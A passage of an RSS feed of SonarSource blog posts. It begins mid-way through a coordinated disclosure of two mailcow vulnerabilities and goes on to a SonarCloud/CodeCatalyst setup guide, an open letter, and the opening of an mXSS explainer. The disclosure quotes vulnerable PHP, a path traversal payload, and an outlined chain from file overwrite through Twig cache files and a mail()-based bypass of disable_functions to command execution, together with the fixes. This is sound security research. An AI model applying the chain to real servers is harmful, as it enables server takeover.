&lt;/style&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Normally, mailcow and other email clients try to block resources loaded from remote sources by default. Since the background image URL is relative (it points to a resource on the same host), mailcow&amp;#x27;s webmail client, &lt;a href=&quot;https://github.com/Alinto/sogo&quot;&gt;SOGo&lt;/a&gt;, does not prevent it from being loaded. This causes the browser to make the malicious request immediately upon opening the email:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8da54a93-05f2-49fb-b1a9-1552e2be1923/mailcow-img-request.png&quot; /&gt;&lt;p&gt;After that, the victim&amp;#x27;s session is poisoned with the XSS payload which will be rendered and executed the next time the victim visits the admin panel. With this, the attacker could already control basically the whole mailcow instance by changing configurations, setting passwords, and so on. But is this the final impact?&lt;/p&gt;&lt;h3&gt;CVE-2024-30270: Arbitrary File Overwrite, detected by SonarCloud&lt;/h3&gt;&lt;p&gt;While scanning mailcow&amp;#x27;s codebase with SonarCloud, we found another vulnerability that would lead to the execution of arbitrary commands on the server. You can open the issue &lt;a href=&quot;https://sonarcloud.io/project/issues?impactSoftwareQualities=SECURITY&amp;resolved=false&amp;id=SonarSourceResearch_mailcow-blogpost&amp;open=AZAH6aEtnR0c9UoLDzir&quot;&gt;here&lt;/a&gt; to follow along with the blog post (no account required):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2deff93e-ed25-4713-895e-45bba4a44e79/sc-issue-item.png&quot; /&gt;&lt;p&gt;The corresponding code looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function rspamd_maps($_action, $_data = null) {
  // ...
  switch ($_action) {
    case &apos;edit&apos;:
      // ...
      $maps = (array)$_data[&apos;map&apos;];
      foreach ($maps as $map) {
        foreach ($RSPAMD_MAPS as $rspamd_map_type) {
          if (!in_array($map, $rspamd_map_type)) { // [1]
            $_SESSION[&apos;return&apos;][] = array(
              &apos;type&apos; =&gt; &apos;danger&apos;,
              &apos;log&apos; =&gt; array(__FUNCTION__, $_action, &apos;-&apos;),
              &apos;msg&apos; =&gt; array(&apos;global_map_invalid&apos;, $map)
            );
            continue; // [2]
          }
        }
        try {
          if (file_exists(&apos;/rspamd_custom_maps/&apos; . $map)) { // [3]
            $map_content = trim($_data[&apos;rspamd_map_data&apos;]);
            $map_handle = fopen(&apos;/rspamd_custom_maps/&apos; . $map, &apos;w&apos;); // [4]
            // ...
            fwrite($map_handle, $map_content . PHP_EOL); // [5]
            fclose($map_handle);
            // ...
          }
        }
   // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;User input is passed to the &lt;code&gt;rspamd_maps&lt;/code&gt; function via the &lt;code&gt;$_data&lt;/code&gt; parameter. At &lt;code&gt;[1]&lt;/code&gt;, the extracted &lt;code&gt;$map&lt;/code&gt; value is checked to be part of a predefined list of map types. However, at &lt;code&gt;[2]&lt;/code&gt;, the loop is not aborted but continues when an invalid value is encountered. This makes the validation logic obsolete, allowing an attacker to pass any value into &lt;code&gt;$map&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;This untrusted value is then used to construct a file path, where an attacker could insert a relative path traversal payload, such as &lt;code&gt;../etc/passwd&lt;/code&gt;. This path is first used to check if the resulting file exists at &lt;code&gt;[3]&lt;/code&gt;. This prevents an attacker from creating arbitrary files and limits the impact of this vulnerability to file &lt;strong&gt;over&lt;/strong&gt;writes instead of arbitrary file writes. Subsequently, at &lt;code&gt;[4]&lt;/code&gt;, a file handle is created from the untrusted path. Finally, at &lt;code&gt;[5]&lt;/code&gt;, the value of &lt;code&gt;$map_content&lt;/code&gt; is written to the file, which is also entirely attacker-controlled as it comes from the &lt;code&gt;$_data&lt;/code&gt; parameter.&lt;/p&gt;&lt;p&gt;Since the admin panel is a PHP application, a straightforward way of exploiting such a file write vulnerability would be to find a suitable PHP file, overwrite it with malicious PHP code, and finally send a request to execute the malicious code.&lt;/p&gt;&lt;p&gt;However, the mailcow maintainers did a good job setting all file permissions to read-only inside their Dockerfile! This shows how important defense-in-depth is, as it can make the attacker&amp;#x27;s life much harder.&lt;/p&gt;&lt;h3&gt;Writable Template Cache&lt;/h3&gt;&lt;p&gt;In the case of mailcow, there was one location left that could not be write-protected: the cache directory of mailcow&amp;#x27;s templating engine, &lt;a href=&quot;https://twig.symfony.com/&quot;&gt;Twig&lt;/a&gt;. Twig will compile a template to a PHP file when it is first used. After that, the PHP file is executed to render the template because it&amp;#x27;s much faster than interpreting the template every time it is used. This is how a template looks in its original form vs. its compiled form:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/403d8f87-562c-409a-942d-9bb18971311f/twig-template-comparison-small.png&quot; /&gt;&lt;p&gt;However, that also means the PHP app itself has to be able to write PHP files in that cache directory. The attacker can take advantage of this by simply overwriting an already compiled template with their malicious code. The filenames of these files look quite random and unpredictable, but they are &lt;a href=&quot;https://github.com/twigphp/Twig/blob/b46e93c/src/Cache/FilesystemCache.php#L32-L37&quot;&gt;entirely based on the content of the raw, original template file&lt;/a&gt;, so they are always the same per template file on all instances that run the same version of mailcow.&lt;/p&gt;&lt;p&gt;To trigger the execution of the overwritten file, the attacker just has to request the respective page on the admin panel that uses the template.&lt;/p&gt;&lt;p&gt;After that, the attacker would usually deploy a standard PHP web shell to move deeper into the target system. However, the mailcow team applied defense-in-depth again with a robust PHP config: They disabled many of the classic ways of executing OS commands from PHP, such as &lt;code&gt;system()&lt;/code&gt; or &lt;code&gt;passthru()&lt;/code&gt;, using the &lt;a href=&quot;https://www.php.net/manual/en/ini.core.php#ini.disable-functions&quot;&gt;disable_functions&lt;/a&gt; config directive.&lt;/p&gt;&lt;p&gt;But they did not disable one function that is known to bypass these restrictions, which is, fittingly, the &lt;code&gt;mail()&lt;/code&gt; function. &lt;a href=&quot;https://www.sonarsource.com/blog/why-mail-is-dangerous-in-php/&quot;&gt;This blog post of ours&lt;/a&gt; explains more about the dangers of this function and how attackers could use it to bypass &lt;code&gt;disable_functions&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;With all these tricks in their toolbelt, the attacker can now craft an email containing multiple stages of payloads that will eventually execute malicious OS commands on the admin panel&amp;#x27;s server. Luckily, all parts of mailcow run in separate Docker containers, so the attacker cannot easily escape and compromise the whole host system.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;To fix the XSS vulnerability (CVE-2024-31204), the mailcow maintainers chose the straight-forward way of encoding all HTML special characters in the exception details before passing them to the template:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; $alerts = [];
 if (is_array($alertbox_log_parser)) {
   foreach ($alertbox_log_parser as $log) {
-    $message = strtr($log[&apos;msg&apos;], [&quot;\n&quot; =&gt; &apos;&apos;, &quot;\r&quot; =&gt; &apos;&apos;, &quot;\t&quot; =&gt; &apos;&lt;br&gt;&apos;]);
+    $message = htmlspecialchars($log[&apos;msg&apos;], ENT_QUOTES);
+    $message = strtr($message, [&quot;\n&quot; =&gt; &apos;&apos;, &quot;\r&quot; =&gt; &apos;&apos;, &quot;\t&quot; =&gt; &apos;&lt;br&gt;&apos;]);
     $alerts[trim($log[&apos;type&apos;], &apos;&quot;&apos;)][] = trim($message, &apos;&quot;&apos;);
   }
   $alert = array_filter(array_unique($alerts));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For the file write vulnerability (CVE-2024-30270), the mailcow team opted for fixing the validation logic that was already present. This is a good idea, since the check now properly enforces the allowlist of permitted map types, making the check robust:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;         return false;
       }
       $maps = (array)$_data[&apos;map&apos;];
+      $valid_maps = array();
       foreach ($maps as $map) {
         foreach ($RSPAMD_MAPS as $rspamd_map_type) {
           if (!in_array($map, $rspamd_map_type)) {
               &apos;log&apos; =&gt; array(__FUNCTION__, $_action, &apos;-&apos;),
               &apos;msg&apos; =&gt; array(&apos;global_map_invalid&apos;, $map)
             );
-            continue;
+          } else {
+            array_push($valid_maps, $map);
           }
         }
+      }
+      foreach ($valid_maps as $map) {
         try {
           if (file_exists(&apos;/rspamd_custom_maps/&apos; . $map)) {
             $map_content = trim($_data[&apos;rspamd_map_data&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The mailcow maintainers did not stop there but also implemented additional hardening measures to avoid similar exploits in the future! This is a great idea and at the same time not surprising as we&amp;#x27;ve previously seen in their code that they are fans of defense-in-depth, just like us.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid &lt;code&gt;GET&lt;/code&gt; requests coming from the webmail client to cause API requests, they are now checking special browser headers to determine if the request was intended for the API. First, they opted for the &lt;code&gt;Referer&lt;/code&gt; header:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;+// deny requests from /SOGo locations
+if (isset($_SERVER[&apos;HTTP_REFERER&apos;])) {
+  if (strpos(strtolower($_SERVER[&apos;HTTP_REFERER&apos;]), &apos;/sogo&apos;) !== false) {
+    header(&apos;HTTP/1.1 403 Forbidden&apos;);
+    exit;
+  }
+}
+
 if (isset($_GET[&apos;query&apos;])) {
   $query = explode(&apos;/&apos;, $_GET[&apos;query&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, an attacker could prevent this header from being sent at all, for example by setting the &lt;code&gt;referrerpolicy&lt;/code&gt; attribute to &lt;code&gt;no-referrer&lt;/code&gt; on an image tag. That&amp;#x27;s why they now use the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Dest&quot;&gt;Sec-Fetch-Dest header&lt;/a&gt; that the browser uses to signal where the response of a request will be used. In this case, API requests should always originate from &lt;code&gt;fetch()&lt;/code&gt; calls, so the server can safely ignore calls that indicate something else:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-// deny requests from /SOGo locations
-if (isset($_SERVER[&apos;HTTP_REFERER&apos;])) {
-  if (strpos(strtolower($_SERVER[&apos;HTTP_REFERER&apos;]), &apos;/sogo&apos;) !== false) {
-    header(&apos;HTTP/1.1 403 Forbidden&apos;);
-    exit;
-  }
+// Block requests not intended for direct API use by checking the &apos;Sec-Fetch-Dest&apos; header.
+if (isset($_SERVER[&apos;HTTP_SEC_FETCH_DEST&apos;]) &amp;&amp; $_SERVER[&apos;HTTP_SEC_FETCH_DEST&apos;] !== &apos;empty&apos;) {
+  header(&apos;HTTP/1.1 403 Forbidden&apos;);
+  exit;
 }
 
 if (isset($_GET[&apos;query&apos;])) {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-22&lt;/td&gt;&lt;td&gt;We report all issues to the mailcow maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-04-02&lt;/td&gt;&lt;td&gt;The maintainers confirm the issues and propose fixes&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-04-03&lt;/td&gt;&lt;td&gt;We suggest minor changes to the fixes&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-04-04&lt;/td&gt;&lt;td&gt;The maintainers release &lt;a href=&quot;https://mailcow.email/posts/2024/release-2024-04/&quot; data-new-window=&quot;true&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;version 2024-04&lt;/a&gt;, containing the fixes&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we covered two vulnerabilities in mailcow, an easy-to-use mail server solution. We showed that attackers can combine the XSS and Path Traversal vulnerabilities to execute arbitrary code on vulnerable mailcow instances. We also discussed how emails are a tool used by attackers to deliver malicious payloads to their victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also discussed how such vulnerabilities can be avoided, and showed the importance of security-in-depth. SonarCloud can help keep your code base clean and flag vulnerabilities like mailcow&amp;#x27;s Path Traversal before they reach production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, kudos to the mailcow team for their fast fixes and their friendly communication!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/why-mail-is-dangerous-in-php/&quot;&gt;Why mail() is dangerous in PHP&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/reply-to-calc-the-attack-chain-to-compromise-mailspring/&quot;&gt;Reply to calc: The Attack Chain to Compromise Mailspring &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/&quot;&gt;Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket/&quot;&gt;Pitfalls of Desanitization: Leaking Customer Data from osTicket&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Integrating SonarCloud with Amazon CodeCatalyst for Code Analysis]]></title><description><![CDATA[Sonar recently announced the integration of SonarCloud with Amazon CodeCatalyst. This blog post guides you through integrating SonarCloud, a cloud-based Clean Code solution, with Amazon CodeCatalyst.]]></description><link>https://www.sonarsource.com/blog/integrating-sonarcloud-with-amazon-codecatalyst</link><guid isPermaLink="false">3cd4453a-2892-5fb4-b7d9-aff13e0e417d</guid><dc:creator><![CDATA[Manish Kapur]]></dc:creator><pubDate>Mon, 10 Jun 2024 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Streamlining your CI/CD pipeline is vital to efficient and secure software development. Following the &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-and-aws-expand-collaboration-to-drive-adoption-of-clean-code-practices/&quot;&gt;announcement&lt;/a&gt; of our integration of SonarCloud with Amazon CodeCatalyst, we&amp;#x27;d like to help you with setup. This blog post guides you through integrating SonarCloud, a cloud-based Clean Code solution, with Amazon CodeCatalyst. The integration enables automated code analysis of your repositories within your build process, helping you catch issues early and deliver high-quality software.&lt;/p&gt;&lt;h3&gt;Amazon CodeCatalyst&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/codecatalyst/&quot;&gt;Amazon CodeCatalyst&lt;/a&gt; simplifies the management of your application development lifecycle by offering a centralized platform for managing code repositories, building, testing, and deploying applications. It streamlines collaboration between development teams and automates key steps in your CI/CD pipeline. &lt;/p&gt;&lt;h3&gt;SonarCloud &lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; is a widely used cloud-based static analysis solution for continuous code quality and security inspection. It helps developers identify and fix issues in their code that could lead to bugs, vulnerabilities, or decreased development velocity. SonarCloud supports the most popular programming languages, including Java, JavaScript, TypeScript, C#, Python, C, C++, and &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/&quot;&gt;many more&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Prerequisites for the integration&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;An active &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud account&lt;/a&gt;&lt;/li&gt;&lt;li&gt;An Amazon CodeCatalyst project to analyze (&lt;a href=&quot;https://docs.aws.amazon.com/codecatalyst/latest/userguide/project-blueprints.html&quot;&gt;ToDoWebApp&lt;/a&gt; is the example project used in this blog)&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Setting Up the Integration&lt;/h3&gt;&lt;p&gt;Follow these steps to scan your projects with SonarCloud and start producing Clean Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1: Create your Project in SonarCloud &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;1.1 &lt;a href=&quot;https://sonarcloud.io/login&quot;&gt;Login&lt;/a&gt; to SonarCloud and Create a Project. You can choose an existing organization for your project or create a new one. In the screenshot below, the project name is ToDoWebApp, an example project already existing in CodeCatalyst.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8d91aec5-b420-4b2d-8827-09db544cc242/img1.png&quot; /&gt;&lt;p&gt;1.2 Select a new code definition for your organization on the next screen.&lt;/p&gt;&lt;p&gt;1.3 Choose your Analysis Method to use Amazon Code Catalyst. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ce514be5-8a73-4a54-8c9c-70c2f8f2b1aa/img2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2: Create a CodeCatalyst Secret&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Complete these steps to set up a CodeCatalyst secret to store your SonarCloud token.&lt;/p&gt;&lt;p&gt;2.1 In SonarCloud, after you have selected Amazon CodeCatalyst, the token name and value will be displayed. &lt;/p&gt;&lt;p&gt;2.2 Navigate to CI/CD -&amp;gt; Secrets in your ToDoWebApp CodeCatalyst project.&lt;/p&gt;&lt;p&gt;2.3 Create a new secret named &amp;quot;SONAR_TOKEN&amp;quot; with the value of your SonarCloud token (generated in SonarCloud).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4edd8e6e-8506-4f0e-8e15-c5ccfcbf4528/img3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;3: Define Your Main Branch (Optional)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This step applies only to manual projects (not bound to supported DevOps platforms).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;3.1 In SonarCloud, rename the &amp;quot;Branches&amp;quot; page entry to match your repository&amp;#x27;s main branch.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4836ae61-9899-4da3-934a-44f44996d29f/img4.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;4: Create the Workflow YAML File&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A &lt;a href=&quot;https://docs.aws.amazon.com/codecatalyst/latest/userguide/workflow.html&quot;&gt;workflow&lt;/a&gt; is a YAML file that defines a series of steps, or actions, to take during a workflow run. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;4.1 To define your build process, create a .codecatalyst/workflows/build.yml file for your ToDoWebApp project in CodeCatalyst. SonarCloud provides this file as part of the in-product tutorial. &lt;/p&gt;&lt;p&gt;4.2 Include a SonarCloud analysis step using the &lt;code&gt;SonarCloudScanAnalysis&lt;/code&gt; workflow. As part of this workflow, you are invoking the SonarCloudScan action.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f9c7dd30-d2c3-4c80-9beb-da5ed056a68f/img6.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;5: Create a sonar-project.properties file&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;5.1 Create a configuration file named sonar-project.properties in the root directory of the project. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9722cdf0-ab95-4cbc-a8e0-dadde11fba70/img5.png&quot; /&gt;&lt;h3&gt;And you are done!&lt;/h3&gt;&lt;p&gt;CodeCatalyst will now trigger the SonarCloud scan action during your pipeline execution. This action analyzes your codebase, identifying potential bugs, security vulnerabilities, code smells, and duplication issues. SonarCloud delivers detailed reports for the new code you add to your project and the overall code. It provides insights into your code quality, allowing developers to identify and address issues early in the development cycle.&lt;/p&gt;&lt;h3&gt;Benefits of Integrating SonarCloud with CodeCatalyst&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Early Bug Detection:&lt;/strong&gt; Identify and fix bugs early in the development lifecycle, reducing time spent debugging later. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Enhanced Security&lt;/strong&gt;: Proactively discover and address security vulnerabilities, mitigating potential risks. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Improved Code Quality&lt;/strong&gt;: SonarCloud&amp;#x27;s insights help developers write cleaner, more maintainable code, reducing technical debt. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Streamlined Workflow&lt;/strong&gt;: The integration seamlessly integrates code analysis into your existing CI/CD pipeline, saving development time. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Actionable Insights&lt;/strong&gt;: Detailed reports within CodeCatalyst empower developers to make informed code quality and security decisions.  &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By leveraging the combined power of Amazon CodeCatalyst and SonarCloud, you can establish a robust and efficient CI/CD pipeline. This integration empowers your development team to focus on building innovative applications while ensuring code quality and security remain top priorities. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;Sign up&lt;/a&gt; for a free cloud trial account and &lt;a href=&quot;https://docs.sonarsource.com/sonarcloud/advanced-setup/ci-based-analysis/amazon-codecatalyst/&quot;&gt;try it&lt;/a&gt; for yourself. &lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[An Open Letter to Sonar[Qube] Users]]></title><description><![CDATA[Sonar’s new President of Field Operations introduces herself and reiterates the company's continued commitment to enabling organizations to succeed. ]]></description><link>https://www.sonarsource.com/blog/an-open-letter-to-sonar-qube-users</link><guid isPermaLink="false">3c74b2b2-9210-5dbe-b6eb-cb924d55441b</guid><dc:creator><![CDATA[Lynne Doherty]]></dc:creator><pubDate>Thu, 06 Jun 2024 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;Whether it’s human or AI-generated code, code quality and code security are what we do best. &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar solves the trillion-dollar challenge of bad code by analyzing all code to test for issues that lead to unreliable, unmaintainable, and insecure software. Used by more than 7M developers and 400K organizations today, our solutions — &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; — support over 30 programming languages, frameworks, and infrastructure technologies. Sonar’s offering is designed to help minimize risk, reduce technical debt, and derive more value in a predictable and sustainable way. As Sonar’s new President of Field Operations, I want to introduce myself, share my excitement about the journey ahead, and re-iterate the continued commitment that Sonar has to your success. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;About me&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I’ve recently started my journey at Sonar after 25 years of working in the technology industry. I started my career as a developer, so joining Sonar feels like a “full-circle moment” for me. Most recently, I served as President of Worldwide Field Operations at Sumo Logic. Prior to that, I was Executive Vice President of Global Sales and Marketing at McAfee Enterprise, and before that, I spent 15 years at Cisco where I held various leadership roles including Senior Vice President of US Commerical Sales and Vice President of Americas Security Sales. &lt;/p&gt;&lt;p&gt;Leading go-to-market organizations over the years, my focus has been on advocating for my customers, building world-class teams, fostering relationships, and building competitive team cultures with people who desire to grow and learn together. It’s brought me to this exciting step in my career at Sonar, where the inflection point of market need and opportunity collide. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;The journey ahead&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Over the last 15 years, Sonar has gained a deep understanding of how code is written and managed. With that knowledge, we have redefined what it means to write &lt;a href=&quot;https://www.sonarsource.com/lp/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt; in today’s software development lifecycle, helping organizations accelerate mission-critical software development, manage proliferating risks, and build fast and reliable applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;My team at Sonar exists to help organizations and developers around the world find and see the value that better code can bring. As &lt;a href=&quot;https://www.sonarsource.com/solutions/ai/&quot;&gt;AI-generated code&lt;/a&gt; becomes a bigger part of our world, solutions like Sonar become even more critical to leverage… and it’s our mission to provide them. Some of our benefits to you are: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Analysis of AI-generated code for quality and security issues&lt;/li&gt;&lt;li&gt;A &lt;a href=&quot;https://www.sonarsource.com/solutions/secure-by-design-code/&quot;&gt;secure-by-design&lt;/a&gt; approach, avoiding code-level security issues and vulnerabilities from the start&lt;/li&gt;&lt;li&gt;Improved developer experience, with a focus on education &lt;/li&gt;&lt;li&gt;Improved sustainability and maintainability of your codebase, along with reduction of &lt;a href=&quot;https://www.sonarsource.com/solutions/reduce-technical-debt/&quot;&gt;tech debt&lt;/a&gt; over time&lt;/li&gt;&lt;li&gt;Better visibility and governance across your organization for code that’s put into production&lt;/li&gt;&lt;/ul&gt;&lt;p&gt; &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Our commitment&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Bad code is bad for business. And we’re here to help you solve that challenge by protecting you from code bugs and vulnerabilities that put your customers at risk, ruin developer experience, and even damage your reputation. It’s all top-of-mind for us, and we’re committed to continue delivering the innovation you need to stay in control. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As for me personally, I am committed to bringing this powerful technology to the hands of more customers around the world, to enabling the channel to tap into our partnerships in new ways, and to growing the best team to serve our customers and partners as we build for our future together.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Thank you for your partnership, support, and trust.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[mXSS: The Vulnerability Hiding in Your Code]]></title><description><![CDATA[XSS is a well-known bug class, but a lesser-known yet effective variant called mXSS has emerged over the last couple of years. In this blog, we will cover the fundamentals of this XSS variant and examine how you can protect against it.]]></description><link>https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code</link><guid isPermaLink="false">dd8b8657-3199-550f-b5a0-b2461ce3184f</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 27 May 2024 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cross-site scripting (XSS) is a well-known vulnerability type that occurs when an attacker can inject JavaScript code into a vulnerable page. When an unknowing victim visits the page, the injected code is executed in the victim’s session. The impact of this attack could vary depending on the application, with no business impact to &lt;a href=&quot;https://ysamm.com/?p=779&quot;&gt;account takeover&lt;/a&gt; (ATO), &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;data leak&lt;/a&gt;, or even &lt;a href=&quot;https://www.sonarsource.com/blog/reply-to-calc-the-attack-chain-to-compromise-mailspring&quot;&gt;remote code execution&lt;/a&gt; (RCE). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;There are various types of XSS, such as reflected, stored, and universal. But in recent years, the mutation class of XSS has become feared for bypassing sanitizers, such as DOMPurify, Mozilla bleach, Google Caja, and more… affecting numerous applications, including Google Search. To this day, we see many applications that are susceptible to these kinds of attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;But what is mXSS? &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;(We also explored this topic in our Insomnihack 2024 talk: &lt;a href=&quot;https://www.youtube.com/watch?v=g3yzTQnIgtE&quot;&gt;Beating The Sanitizer: Why You Should Add mXSS To Your Toolbox&lt;/a&gt;.)&lt;/p&gt;&lt;h2&gt;Background&lt;/h2&gt;&lt;p&gt;If you are a web developer, you have probably integrated or even implemented some kind of sanitization to protect your application from XSS attacks. But little is known about how difficult it is to make a 